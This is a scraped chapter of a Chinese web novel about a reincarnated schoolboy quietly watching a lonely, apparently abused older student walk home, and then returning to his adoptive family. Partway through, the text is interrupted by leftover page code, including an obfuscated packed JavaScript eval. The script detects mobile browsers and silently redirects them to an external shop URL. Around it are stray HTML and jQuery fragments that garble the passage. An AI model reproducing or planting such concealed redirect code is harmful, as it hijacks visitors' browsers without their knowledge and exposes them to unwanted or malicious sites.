文趣网 > 都市小说 > 何止漫长 > 2. 晚风擦肩,暗自留香
    粉笔在黑板上刮出细碎的声响,混在温热的日光里,把教室泡得昏昏欲睡。大半同学撑着脑袋,眼皮打架。

    忘海坐在靠窗的位置,姿态松松散散的,目光落在窗外。

    高中课业对他来说太浅了。老师讲一道题的时间,够他把整章翻完。他由着自己走神,视线越过操场,落在高二教学楼的方向。隔着两层玻璃,什么也看不清。但他知道那个人坐在哪间教室,知道他靠窗,知道他听课的时候习惯托着下巴——和他一模一样的姿势。

    今天早上才在小卖部见过,却觉得隔了很久。

    他低下头,翻开课本,在空白处随手画了一个圈。又画了一个更大的圈,把它圈起来。然后他把笔搁下,不画了。

    下课铃响的时候,暮色已经漫过了围墙。

    住校生拎着饭盒往食堂跑,走读生三三两两往外涌。喧闹声渐渐淡下去,整栋教学楼安静下来。

    忘海没急着走。他叠好课本,背上书包,走到走廊上,扶着栏杆站定。

    晚风掀动他额前的碎发,带着食堂那边飘来的饭菜香。他没往食堂看,目光牢牢锁在楼下高二教学楼出口的方向。

    没过多久,那道身影出现了。

    苌斓背着纯黑的双肩包,拉链拉得严丝合缝。他独自走出教学楼,步伐平稳,没有东张西望,没有停下来和任何人说话。晚霞的光落在他侧脸上,稍微冲淡了眼底那层常年化不开的东西,难得透出几分干净的少年气。

    可他周身裹着的那层薄冰,一点没化。

    忘海的手指无意识地攥紧了栏杆。

    楼下传来脚步声和零碎的闲聊。几个高二的学生走在苌斓身后不远处,他们说话的声音顺着晚风飘上来,有一句没一句。

    “又是他自己走。”

    “他是不是跟谁都不熟啊。”

    “不知道,没见他说过话。”

    然后就没了。没有人接话,也没有人继续议论,话题拐到了晚上的作业。

    忘海看见苌斓的步子没有停顿,脊背挺得笔直。不知道是没听见,还是听得太多了。

    他拐过花坛,拐过公告栏,拐过校门口的保安亭。纯黑的背包在落日余晖里一点一点变小,最后消失在拐角处。

    忘海依旧站在栏杆边,没有动。

    晚风一阵一阵吹过来,操场上的青草味裹在风里。他望着那个人消失的方向,望了很久。

    他见过太多次了。

    独来独往,沉默寡言,把自己裹得严严实实。所有人都看见他那张脸,没人问他为什么不笑。所有人都绕着他走,没人想过他是不是也希望有人停下来,跟他说一句话。

    忘海知道那些被表带遮住的疤是怎么来的。知道苌斓为什么走读,为什么住不了校。知道他每天回去面对的不是一个可以放松的家。

    他活过那么多次,知道得太多了。

    可这一世,他还只是一个连一句话都没说过的人。

    下巴抵在冰凉的栏杆上,他呼出一口气。活了千万世,看过王朝覆灭,看过沧海变桑田,他以为自己这颗心早就没什么能搅得动了。

    然后心脏在胸口沉甸甸地跳。

    一下一下的,像有人在用指节敲他胸腔内侧。

    他抬手按了按胸口,皱起眉。脸上有股莫名的烫意,被晚风一吹,反而更明显了。

    什么毛病。他想。就看了一眼。连正面都没看清。连话都没说过。

    心跳成这样。

    “忘海?你还没走?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724358|208790||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    同桌从教室后门探出头,肩上挎着书包,手里拎着饭盒,显然准备去食堂。

    忘海回过神,把手从胸口放下来,笑了一下:“走了。”

    他转身回教室拿起书包,跟着同桌一起下楼。食堂的饭菜香越来越浓。晚风穿过梧桐道,吹得叶子哗哗响。

    走到校门口的时候,他不经意地回头看了一眼。

    那里空荡荡的,保安大叔在门口浇花。墙角的纸盒还在,被晚风吹得往墙根里挪了半寸。

    忘海收回目光,把手伸进校服口袋,摸到那个掉色的猫咪挂件。他攥了一下,又松开,没有拿出来。

    然后他往家的方向走去。

    书包里还有中午没喝完的保温饭盒。他走到公交站,在长椅上坐下来,拧开盖子喝了一口。汤已经凉了,但还是很鲜。

    他盯着手里的饭盒盖,想,什么时候能让他也喝一口。

    不是凉的。

    是刚出锅的,炖了一晚上的,骨头都化了的那种。

    他把饭盒盖好,塞回书包。公交站台的灯亮起来,路灯也一盏一盏跟着亮了。他坐在长椅上,看着马路对面来来往往的人,没有马上站起来。

    脸上那股烫意,过了很久才慢慢消下去。

    晚上到家的时候,养母从厨房探出头:“回来啦?洗手吃饭。”

    养父在客厅看新闻,冲他抬了抬下巴:“今天怎么这么晚。”

    “在学校多待了一会儿。”

    厨房里飘出热汤的香气。

    忘海站在玄关换鞋,闻到那个味道,忽然想起下午数学课上在课本空白处画的那两个圈。

    他画得不好看,歪歪扭扭的。

    但两个圈挨在一起,像是谁把谁圈了进去